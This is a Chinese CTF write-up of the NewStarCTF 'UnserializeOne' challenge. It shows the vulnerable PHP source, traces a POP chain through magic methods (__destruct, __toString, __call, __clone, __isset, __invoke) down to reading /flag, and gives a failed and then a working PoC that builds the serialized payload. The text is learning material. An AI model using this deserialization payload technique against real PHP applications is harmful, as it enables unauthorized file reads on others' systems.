NSWSTAR-week2-UnserializeOne

写这个反序列化题目,学到了几点

1
2
1,__clone()魔法函数的触发方法以及一些细节
2,反序列化中属性的私有以及保护的处理方法

直接看题目,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
}

class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}

分析一波,确定了基本pop链,

1
Start:__destruct==>Sec::__toString==>Easy::__call==>eeee::__clone==>Start::__isset==>Sec::__invoke

更详细的pop链,

1
$Start::__destruct()@$this->name=$sec   ->   $Sec::__toString()@$this->obj=$easy   ->   $Easy::__call()@$this->cla=$copy_eee&$var[0]=$eee   ->   $eee::__clone()@($this->obj)=($start)   ->   $Start::__isset()@$this->func=$sec   ->   sec::__invoke()

接下来编写poc,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Start{
public $name;
protected $func;
}

class Sec{
private $obj;
private $var;
}

class Easy{
public $cla;
}

class eeee{
public $obj;
}

$start=new Start();
$sec=new Sec();
$easy=new Easy();
$ee=new eeee();

$start->func=$sec;
$ee->obj=$start;
$easy->cla=$copy_ee;
$sec->var[0]=$ee;
$sec->obj=$easy;
$start->name=$sec;

var_dump(urlencode(serialize($start)));

运行,发现php报错,

然后搞了好久也没找到解决方法,又检查了好几遍pop链,感觉pop链没错,一时间不知道怎么做了。

直到writeup出来😶😶……

最后看了一下writeup,发现构造的pop链是正确的,只是构造过程中几个细节没有处理好,导致php出错。

重新编写的poc,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class Start{
public $name;
public $func;//protected变为public,具体为什么这样修改,现在还不太清楚
}

class Sec{
public $obj;// private变为public
public $var;// private变为public
}

class Easy{
public $cla;
}

class eeee{
public $obj;
}

$start=new Start();
$sec=new Sec();
$easy=new Easy();
$ee=new eeee();

$start->func=$sec;
$ee->obj=$start;
//$easy->cla=$copy_ee;
//$sec->var[0]=$ee;修改为var,去掉数组[]。为什么这样修改,我暂时还不太清楚,以后了解了,会回来更新的
$sec->var=$ee;
$sec->obj=$easy;
$start->name=$sec;

var_dump(urlencode(serialize($start)));

其中,为什么$easy->cla=$copy_ee;删除掉,我的理解是要想让eeee类中__clone()函数触发,只需要eeee类被克隆就OK了,就是让Easy类中的$var=$eeee类,而不用再定义Easy中的cla属性。

最后,编写的exp可以运行,传入后得到flag